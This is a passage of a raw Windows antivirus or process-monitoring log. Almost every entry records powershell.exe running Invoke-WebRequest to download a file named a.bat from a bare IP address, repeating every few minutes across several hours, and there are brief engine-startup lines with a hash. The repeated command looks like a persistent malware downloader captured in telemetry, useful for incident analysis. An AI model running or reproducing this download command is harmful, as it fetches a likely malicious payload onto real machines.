'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:26:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:28:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:31:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:34:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:36:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:39:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:41:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:44:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:46:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:49:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:51:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:54:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:56:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:59:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:01:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:04:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:06:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:09:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:11:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:14:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:16:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:19:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:21:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:24:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:26:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:29:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:31:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:34:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:36:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:39:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:41:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:44:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:46:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:49:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:51:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:54:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:56:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 17:59:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:01:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:04:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:06:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:09:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:11:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:14:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:16:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:19:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:21:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:24:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:26:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:29:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:31:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:34:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:36:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:39:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:41:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:44:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:46:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:49:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:51:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:54:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:56:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 18:59:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:01:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:04:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:06:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:09:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:11:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:14:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:16:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:19:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:21:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:24:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:26:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:29:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:31:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:34:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:36:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:39:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:41:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:44:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:46:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:49:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:51:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:54:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:56:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 19:59:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:01:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:04:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:07:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:09:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:12:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:14:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:17:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:19:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:22:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:24:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:27:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:29:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:32:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:34:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:37:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:39:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:42:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:44:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:46:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:48:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:51:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:53:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:56:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 20:58:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 21:01:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 21:03:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 21:06:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 21:08:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 21:11:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 21:11:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 21:12:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 21:13:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 21:14:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 22:02:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 22:03:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 22:06:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 22:08:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 22:11:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 22:27:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 22:43:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 22:54:57 AVAVER: 21.2.2455 AR2: 240830 defs: 24090900 2024-09-09 22:54:57 ARPOT2: Start 4688 2024-09-09 22:54:57 AR2CFG: 240830 2024-09-09 22:54:57 AR2DEV: Start 1 Driver: 210305 2024-09-09 22:55:21 APBURG: 39 1 error 120 BCF8466A41CDB25495C987B772F6652DD0382A03353C5829E20E1462486469C5 2024-09-09 22:55:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 22:57:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 22:59:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:01:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:01:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:03:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:04:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 